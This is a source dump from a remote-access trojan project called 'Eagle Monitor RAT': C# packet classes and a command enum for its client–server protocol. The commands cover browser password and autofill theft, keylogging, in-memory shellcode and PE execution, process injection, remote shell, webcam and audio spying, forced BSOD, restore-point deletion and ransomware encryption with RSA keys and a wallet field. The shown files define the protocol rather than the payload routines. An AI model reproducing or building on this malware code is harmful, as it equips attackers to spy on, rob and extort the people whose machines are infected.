PacketType.KEYLOG_OFF; this.BaseIp = baseIp; this.HWID = HWID; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string keyStroke { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MemoryExecutionPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class MemoryExecutionPacket : IPacket { public MemoryExecutionPacket(PacketType packetType, byte[] payload) : base() { this.PacketType = packetType; this.payload = payload; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public byte[] payload { get; set; } public string managedEntryPoint { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MiscellaneousPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class MiscellaneousPacket : IPacket { public MiscellaneousPacket(PacketType miscOption) : base() { this.PacketType = miscOption; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/NetworkInformationPacket.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class TCPInformation { public string processName { get; set; } public int PID { get; set; } public string LocalEndPoint { get; set; } public string RemoteEndPoint { get; set; } public TCP_CONNECTION_STATE State { get; set; } public enum TCP_CONNECTION_STATE { CLOSED = 1, LISTENING, SYN_SENT, SYN_RCVD, ESTABLISHED, FIN_WAIT_1, FIN_WAIT_2, CLOSE_WAIT, CLOSING, LAST_ACK, TIME_WAIT, DELETE_TCP } } [Serializable] public class NetworkInformationPacket : IPacket { public NetworkInformationPacket() : base() { this.PacketType = PacketType.MISC_NETWORK_INFORMATION; } public NetworkInformationPacket(List tcpInformationList, string baseIp, string HWID) : base() { this.PacketType = PacketType.MISC_NETWORK_INFORMATION; this.BaseIp = baseIp; this.HWID = HWID; this.tcpInformationList = tcpInformationList; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public List tcpInformationList{ get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/OpenUrlPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class OpenUrlPacket : IPacket { public OpenUrlPacket(string url) : base() { this.PacketType = PacketType.MISC_OPEN_WEBSITE_LINK; this.url = url; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string url { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/PowerPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class PowerPacket : IPacket { public PowerPacket(PacketType powerOption) : base() { this.PacketType = powerOption; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteChatPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class RemoteChatPacket : IPacket { public RemoteChatPacket(PacketType packetType) : base() { this.PacketType = packetType; } public RemoteChatPacket(string msg) : base() { this.PacketType = PacketType.CHAT_ON; this.msg = msg; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string msg { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteCodeExecution.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class RemoteCodeExecution : IPacket { public RemoteCodeExecution(PacketType packetType, string compilerOptions, string code, List references) : base() { this.PacketType = packetType; this.compilerOptions = compilerOptions; this.code = code; this.references = references; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string compilerOptions { get; set; } public string code { get; set; } public List references { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/ScreenRotationPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class ScreenRotationPacket : IPacket { public ScreenRotationPacket(string degrees) : base() { this.PacketType = PacketType.MISC_SCREEN_ROTATION; this.degrees = degrees; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string degrees { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/WallPaperPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class WallPaperPacket : IPacket { public WallPaperPacket(byte[] wallpaper, string ext) : base() { this.PacketType = PacketType.MISC_SET_WALLPAPER; this.wallpaper = wallpaper; this.ext = ext; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public byte[] wallpaper { get; set; } public string ext { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/PacketState.cs ================================================ /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { public enum PacketState { UNKNOW = 0, SENT = 1, NOT_SENT = 2, SENDING = 3, RECEIVED = 4 } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/PacketType.cs ================================================ /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { public enum PacketType : byte { CLOSE_CLIENT = 0, UNINSTALL_CLOSE_CLIENT = 1, CONNECTED = 2, RECOVERY_PASSWORDS = 3, RECOVERY_HISTORY = 4, RECOVERY_AUTOFILL = 53, RECOVERY_KEYWORDS = 54, RECOVERY_ALL = 66, FM_GET_DISK = 5, FM_GET_FILES_AND_DIRS = 6, FM_DOWNLOAD_FILE = 7, FM_DELETE_FILE = 8, FM_START_FILE = 9, FM_RENAME_FILE = 46, FM_SHORTCUT_PATH = 51, FM_UPLOAD_FILE = 58, PM_GET_PROCESSES = 10, PM_KILL_PROCESS = 11, PM_SUSPEND_PROCESS = 12, PM_RESUME_PROCESS = 13, PM_INJECT_PROCESS = 33, KEYLOG_ON = 14, KEYLOG_OFF = 15, KEYLOG_OFFLINE = 52, MEM_EXEC_SHELLCODE = 16, MEM_EXEC_NATIVE_DLL = 17, MEM_EXEC_NATIVE_PE = 18, MEM_EXEC_MANAGED_DLL = 19, MEM_EXEC_MANAGED_PE = 20, MEM_EXEC_CSHARP_CODE = 64, MEM_EXEC_VB_CODE = 65, POWER_SHUTDOWN = 21, POWER_REBOOT = 22, POWER_LOG_OUT = 23, POWER_BSOD = 24, POWER_LOCK_WORKSTATION = 25, POWER_SUSPEND = 26, POWER_HIBERNATE = 27, MISC_HIDE_TASKBAR = 28, MISC_SHOW_TASKBAR = 29, MISC_AUDIO_UP = 30, MISC_AUDIO_DOWN = 31, MISC_SET_WALLPAPER = 32, MISC_INFORMATION = 43, MISC_NETWORK_INFORMATION = 76, MISC_SCREENLOCKER_ON = 44, MISC_SCREENLOCKER_OFF = 45, MISC_HIDE_DESKTOP_ICONS = 49, MISC_SHOW_DESKTOP_ICONS = 50, MISC_SCREEN_ROTATION = 61, MISC_ASK_ADMIN_RIGHTS = 67, MISC_OPEN_WEBSITE_LINK = 70, RM_VIEW_ON = 34, RM_VIEW_OFF = 35, RM_MOUSE = 59, RM_KEYBOARD = 60, RC_GET_CAM = 36, RC_CAPTURE_ON = 37, RC_CAPTURE_OFF = 38, HDW_MS_OFF = 39, HDW_MS_ON = 40, HDW_KB_OFF = 41, HDW_KB_ON = 42, RANSOMWARE_ENCRYPTION = 47, RANSOMWARE_DECRYPTION = 48, RANSOMWARE_ENCRYPTION_CONFIRMATION = 71, RANSOMWARE_DECRYPTION_CONFIRMATION = 72, AUDIO_GET_DEVICES = 55, AUDIO_RECORD_ON = 56, AUDIO_RECORD_OFF = 57, CHAT_ON = 62, CHAT_OFF = 63, UAC_GET_RESTORE_POINT = 68, UAC_DELETE_RESTORE_POINT = 69, SHELL_START = 73, SHELL_COMMAND = 74, SHELL_STOP = 75 } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessInjectionPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class ProcessInjectionPacket : IPacket { public enum INJECTION_METHODS : byte { CLASSIC = 0, MAP_VIEW = 1 } //server public ProcessInjectionPacket(byte[] payload, INJECTION_METHODS injectionMethod, int processId) : base() { this.PacketType = PacketType.PM_INJECT_PROCESS; this.payload = payload; this.injectionMethod = injectionMethod; this.processId = processId; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public INJECTION_METHODS injectionMethod { get; set; } public byte[] payload { get; set; } public int processId { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessKillerPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class ProcessKillerPacket : IPacket { //server public ProcessKillerPacket(int processId, string processName, int rowIndex) : base() { this.PacketType = PacketType.PM_KILL_PROCESS; this.processId = processId; this.processName = processName; this.rowIndex = rowIndex; } //client public ProcessKillerPacket(bool killed, int processId, string processName, int rowIndex, string baseIp, string HWID) : base() { this.PacketType = PacketType.PM_KILL_PROCESS; this.BaseIp = baseIp; this.HWID = HWID; this.killed = killed; this.processId = processId; this.processName = processName; this.rowIndex = rowIndex; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public int rowIndex { get; set; } public string processName { get; set; } public int processId { get; set; } public bool killed { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessManagerPacket.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class Proc { public byte[] processIcon { get; set; } public int processId { get; set; } public string processName { get; set; } public string processWindowTitle { get; set; } public string processWindowHandle { get; set; } public string is64Bit { get; set; } } [Serializable] public class ProcessManagerPacket : IPacket { public ProcessManagerPacket() : base() { this.PacketType = PacketType.PM_GET_PROCESSES; } public ProcessManagerPacket(List processes, string baseIp, string HWID) : base() { PacketType = PacketType.PM_GET_PROCESSES; this.BaseIp = baseIp; this.HWID = HWID; this.processes = processes; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public List processes { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Process/ResumeProcessPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class ResumeProcessPacket : IPacket { //server public ResumeProcessPacket(int processId, string processName, int rowIndex) : base() { this.PacketType = PacketType.PM_RESUME_PROCESS; this.processId = processId; this.processName = processName; this.rowIndex = rowIndex; } //client public ResumeProcessPacket(bool resumed, int processId, string processName, int rowIndex, string baseIp, string HWID) : base() { this.PacketType = PacketType.PM_RESUME_PROCESS; this.BaseIp = baseIp; this.HWID = HWID; this.resumed = resumed; this.processId = processId; this.processName = processName; this.rowIndex = rowIndex; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public int rowIndex { get; set; } public string processName { get; set; } public int processId { get; set; } public bool resumed { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Process/SuspendProcessPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class SuspendProcessPacket : IPacket { //server public SuspendProcessPacket(int processId, string processName, int rowIndex) : base() { this.PacketType = PacketType.PM_SUSPEND_PROCESS; this.processId = processId; this.processName = processName; this.rowIndex = rowIndex; } //client public SuspendProcessPacket(bool suspended, int processId, string processName, int rowIndex, string baseIp, string HWID) : base() { this.PacketType = PacketType.PM_SUSPEND_PROCESS; this.BaseIp = baseIp; this.HWID = HWID; this.suspended = suspended; this.processId = processId; this.processName = processName; this.rowIndex = rowIndex; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public int rowIndex { get; set; } public string processName { get; set; } public int processId { get; set; } public bool suspended { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareConfirmationPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class RansomwareConfirmationPacket : IPacket { public RansomwareConfirmationPacket(PacketType packetType, string results, string baseIp, string HWID) : base() { this.PacketType = packetType; this.results = results; this.BaseIp = baseIp; this.HWID = HWID; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string results { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareDecryptionPacket.cs ================================================ using PacketLib.Utils; using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class RansomwareDecryptionPacket : IPacket { public RansomwareDecryptionPacket(string privateRSAServerKey) : base() { this.PacketType = PacketType.RANSOMWARE_DECRYPTION; this.privateRSAServerKey = privateRSAServerKey; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public Algorithm algorithm { get; set; } public bool isBlockCipher { get; set; } public string privateRSAServerKey { get; set; } public int minKeySize { get; set; } public int maxKeySize { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareEncryptionPacket.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class RansomwareEncryptionPacket : IPacket { public RansomwareEncryptionPacket(PacketType packetType) : base() { this.PacketType = packetType; } public RansomwareEncryptionPacket(string publicRSAServerKey, List paths, bool subDirectories, bool checkExtensions) : base() { this.PacketType = PacketType.RANSOMWARE_ENCRYPTION; this.publicRSAServerKey = publicRSAServerKey; this.paths = paths; this.subDirectories = subDirectories; this.checkExtensions = checkExtensions; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string publicRSAServerKey { get; set; } public List paths { get; set; } public List extensions { get; set; } public bool subDirectories { get; set; } public bool checkExtensions { get; set; } public string wallet { get; set; } public string msg { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Recovery/AutofillPacket.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class AutofillPacket : IPacket { //server public AutofillPacket() : base() { PacketType = PacketType.RECOVERY_AUTOFILL; } //client public AutofillPacket(List autofill, string baseIp, string HWID) : base() { PacketType = PacketType.RECOVERY_AUTOFILL; this.BaseIp = baseIp; this.HWID = HWID; this.autofillList = autofill; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public List autofillList { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Recovery/HistoryPacket.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class HistoryPacket : IPacket { //server public HistoryPacket() : base() { PacketType = PacketType.RECOVERY_HISTORY; } //client public HistoryPacket(List history, string baseIp, string HWID) : base() { PacketType = PacketType.RECOVERY_HISTORY; this.BaseIp = baseIp; this.HWID = HWID; this.historyList = history; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public List historyList { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Recovery/KeywordsPacket.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class KeywordsPacket : IPacket { //server public KeywordsPacket() : base() { PacketType = PacketType.RECOVERY_KEYWORDS; } //client public KeywordsPacket(List keywords, string baseIp, string HWID) : base() { PacketType = PacketType.RECOVERY_KEYWORDS; this.BaseIp = baseIp; this.HWID = HWID; this.keywordsList = keywords; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public List keywordsList { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Recovery/PasswordsPacket.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class PasswordsPacket : IPacket { //server public PasswordsPacket() : base() { PacketType = PacketType.RECOVERY_PASSWORDS; } //client public PasswordsPacket(List passwords, string baseIp, string HWID) : base() { PacketType = PacketType.RECOVERY_PASSWORDS; this.BaseIp = baseIp; this.HWID = HWID; this.passwordsList = passwords; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public List passwordsList { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Recovery/RecoveryPacket.cs ================================================ using System; namespace PacketLib.Packet { [Serializable] public class RecoveryPacket : IPacket { public RecoveryPacket() : base() { this.PacketType = PacketType.RECOVERY_ALL; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Shell/NewCommandShellSessionPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class NewCommandShellSessionPacket : IPacket { public NewCommandShellSessionPacket(string shellCommand) : base() { this.PacketType = PacketType.SHELL_COMMAND; this.shellCommand = shellCommand; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string shellCommand { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Shell/StartShellSessionPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class StartShellSessionPacket : IPacket { public StartShellSessionPacket(bool isPWS) : base() { this.PacketType = PacketType.SHELL_START; this.isPWS = isPWS; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public bool isPWS { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Shell/StdOutShellSessionPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class StdOutShellSessionPacket : IPacket { public StdOutShellSessionPacket(string shellStdOut) : base() { this.PacketType = PacketType.SHELL_COMMAND; this.shellStdOut = shellStdOut; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public string shellStdOut { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/Shell/StopShellSessionPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class StopShellSessionPacket : IPacket { public StopShellSessionPacket() : base() { this.PacketType = PacketType.SHELL_STOP; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/UAC/AskAdminRightsPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class AskAdminRightsPacket : IPacket { public AskAdminRightsPacket() : base() { this.PacketType = PacketType.MISC_ASK_ADMIN_RIGHTS; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/UAC/DeleteRestorePointPacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class DeleteRestorePointPacket : IPacket { //server public DeleteRestorePointPacket(int index) : base() { PacketType = PacketType.UAC_DELETE_RESTORE_POINT; this.index = index; } //client public DeleteRestorePointPacket(int index, bool deleted, string baseIp, string HWID) : base() { PacketType = PacketType.UAC_DELETE_RESTORE_POINT; this.BaseIp = baseIp; this.HWID = HWID; this.index = index; this.deleted = deleted; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public int index { get; set; } public bool deleted { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/UAC/RestorePointPacket.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class RestorePoint { public uint index { get; set; } public string creationTime { get; set; } public string description { get; set; } public RestorePointType type { get; set; } public enum RestorePointType { APPLICATION_INSTALL = 0, APPLICATION_UNINSTALL = 1, CANCELLED_OPERATION = 13, DEVICE_DRIVER_INSTALL = 10, MODIFY_SETTINGS = 12, MANUALLY_CREATED = 16 } } [Serializable] public class RestorePointPacket : IPacket { public RestorePointPacket() : base() { this.PacketType = PacketType.UAC_GET_RESTORE_POINT; } public RestorePointPacket(List restorePoints, string baseIp, string HWID) : base() { PacketType = PacketType.UAC_GET_RESTORE_POINT; this.BaseIp = baseIp; this.HWID = HWID; this.restorePoints = restorePoints; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public List restorePoints { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/WebCam/RemoteCameraCapturePacket.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class RemoteCameraCapturePacket : IPacket { public RemoteCameraCapturePacket(PacketType packetType) : base() { this.PacketType = packetType; } public RemoteCameraCapturePacket(byte[] cameraCapture) : base() { this.PacketType = PacketType.RC_CAPTURE_ON; this.cameraCapture = cameraCapture; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public int quality { get; set; } public int index { get; set; } public byte[] cameraCapture { get; set; } public int timeMS { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Packet/WebCam/RemoteCameraPacket.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Packet { [Serializable] public class RemoteCameraPacket : IPacket { public RemoteCameraPacket() : base() { this.PacketType = PacketType.RC_GET_CAM; } public RemoteCameraPacket(List cameras, string baseIp, string HWID) : base() { this.PacketType = PacketType.RC_GET_CAM; this.BaseIp = baseIp; this.HWID = HWID; this.cameras = cameras; } public string HWID { get; set; } public string BaseIp { get; set; } public byte[] Plugin { get; set; } public PacketType PacketType { get; } public PacketState PacketState { get; set; } public string Status { get; set; } public string DatePacketStatus { get; set; } public int PacketSize { get; set; } public List cameras { get; set; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/PacketLib.csproj ================================================  Debug AnyCPU {81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF} Library Properties PacketLib PacketLib v4.5 512 true false none false bin\Debug\ DEBUG;TRACE prompt 4 false none true ..\..\bin\Release\Stubs\ TRACE prompt 4 false false false Off ================================================ FILE: Remote Access Tool/Utils/PacketLib/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("PacketLib")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Eagle Monitor RAT")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Utils/PacketLib/Utils/Algorithm.cs ================================================  /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Utils { public enum Algorithm : byte { NONE = 0,//TODO : GENERATE RANDOM Blowfish = 1, Cast5 = 2, Cast6 = 3, DesEde = 4, DesEngine = 5, Dstu7624 = 6, Gost28147 = 7, Idea = 8, Noekeon = 9, RC2 = 10, RC532 = 11, RC6 = 12, Rijndael = 13, Seed = 14, Serpent = 15, Skipjack = 16, SM4 = 17, Tea = 18, Threefish = 19, Tnepres = 20, Twofish = 21, Xtea = 22, Chacha = 23, Chacha7539 = 24, Salsa20 = 25, XSalsa20 = 26, Vmpc = 27, RC4 = 28, VmpcKsa3 = 29, HC256 = 30, Isaac = 31 } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Utils/Compressor.cs ================================================ using System; // QuickLZ data compression library // Copyright (C) 2006-2011 Lasse Mikkel Reinhold // lar@quicklz.com // // QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything // released into public must be open source) or under a commercial license if such // has been acquired (see http://www.quicklz.com/order.html). The commercial license // does not cover derived or ported versions created by third parties under GPL. // // Only a subset of the C library has been ported, namely level 1 and 3 not in // streaming mode. // // Version: 1.5.0 